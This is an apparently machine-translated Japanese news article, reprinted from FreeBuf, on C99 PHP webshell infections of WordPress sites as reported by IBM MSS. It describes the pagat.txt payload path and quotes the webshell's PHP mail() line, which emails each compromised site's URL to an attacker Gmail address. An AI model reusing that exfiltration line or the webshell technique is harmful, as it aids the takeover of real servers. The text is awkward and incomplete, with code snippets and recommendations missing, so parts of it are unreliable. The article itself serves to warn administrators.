C99 php Webshel​​l 攻撃が激化し、多数の WordPress サイトが脅威にさらされる

最近、IBM のマネージド セキュリティ サービス (MSS) チームは、C99 を使用する大量の WordPress を 検出したと警告を発しました。 php webshel​​l. このサイトは新たな攻撃を受けており、WordPress サイト管理者はサイトの脆弱性を適時にスキャンして修復するよう注意を喚起しています。

IBM MSS チームによる悪意のあるイベントの長期的な監視と分析に基づいて、セキュリティ研究者は、過去 2 か月間、C99 Web シェルによって引き起こされたトラフィック異常が存在したことを発見したと報告されています。彼らによると、2 月に監視されたイベントの数は 404 件でしたが、3 月には 588 件に達しました。

悪意のあるファイルが Webshel​​l を通じて Web サーバーにアップロードされる可能性があることがわかっています。またはコマンドをサーバー実装に渡すことができます。 PHP から ASP.NET、JavaScript から Ruby まで、さまざまなプログラミング言語コードで記述でき、攻撃者がサーバーを制御できるようになり、c99 Web シェルは攻撃者によってよく使用されます。

pagat.txt ファイルには注意してください

IBM MSS セキュリティ チームによると、攻撃者はサイト プラグインのセキュリティ脆弱性を利用し、C99 WebShell を通じて感染することがよくあります。調査によると、最初の感染段階では、Web シェル スクリプトがサーバーにアップロードされ、テキスト ファイルとして保存されます。通常、テキスト ファイルの名前は pagat.txt です。 IBM セキュリティ研究者は、このファイル内で難読化された PHP ソース コードも発見しました。関連するコード スニペットは次のとおりです。コードをさらに難読化し、感染動作をさらに複雑にするためです。 clear 攻撃者は上記のテキスト ファイルをサーバーのルート ディレクトリまたはプラグインのディレクトリ フォルダーに配置していないため、検出はさらに困難になります。ほとんどの場合、pagat.txt ファイルは通常、次のパスに保存されます。

“http://www.website-name.com/wp-content/themes/twentythirteen/pagat.txt”

攻撃者は、テキスト コンテンツをサーバーの PHP インタープリタに送信するパスを見つけます。悪意のあるコードが実行された後、簡単に言えば、一般に次の操作が実行されます。

まず、電子メールが攻撃者に送信され、電子メールの内容を通じて現在の感染サイトの具体的な場所が通知されます。この電子メールは Gmail アドレスに送信され、Web サイトのドメイン名と Web シェルの URL が含まれています。

mail(“<strong>XXXXX@gmail.com</strong>“, “$body”, “Hasil Bajakan hxxp://$web$inj

最後に、攻撃者はブラウザが新しく作成されたフォーム ファイルにアクセスすると、サーバーにコマンドを渡したり、ファイルをアップロードしたりできます。アクセス ページは次のとおりです。上の図に示すように、Webshel​​l は攻撃を許可します。サーバー上のサーバーにアクセスするには、ターミナル コマンドを実行するか、新しいファイルをサイトにアップロードします。これには、より侵入的な Web シェル、DDoS クライアント、ビットコイン マイナー、またはその他のマルウェアが使用される可能性があります。

IBM MSS チームによると、2016 年 4 月 12 日の時点で、Google 検索エンジンによる簡単なクエリだけで、約 32,000 の WordPress サイトに pagat.txt ファイルが存在することがわかりました。

セキュリティに関する提案

現在の状況に基づいて、サイト管理者は次の操作を実行することをお勧めします。

＊参照元: Softpedia、Securityintelligence、FB 編集者 troy が編集、FreeBuf Hackers and Geeks (FreeBuf.COM) からの転載であることを明記してください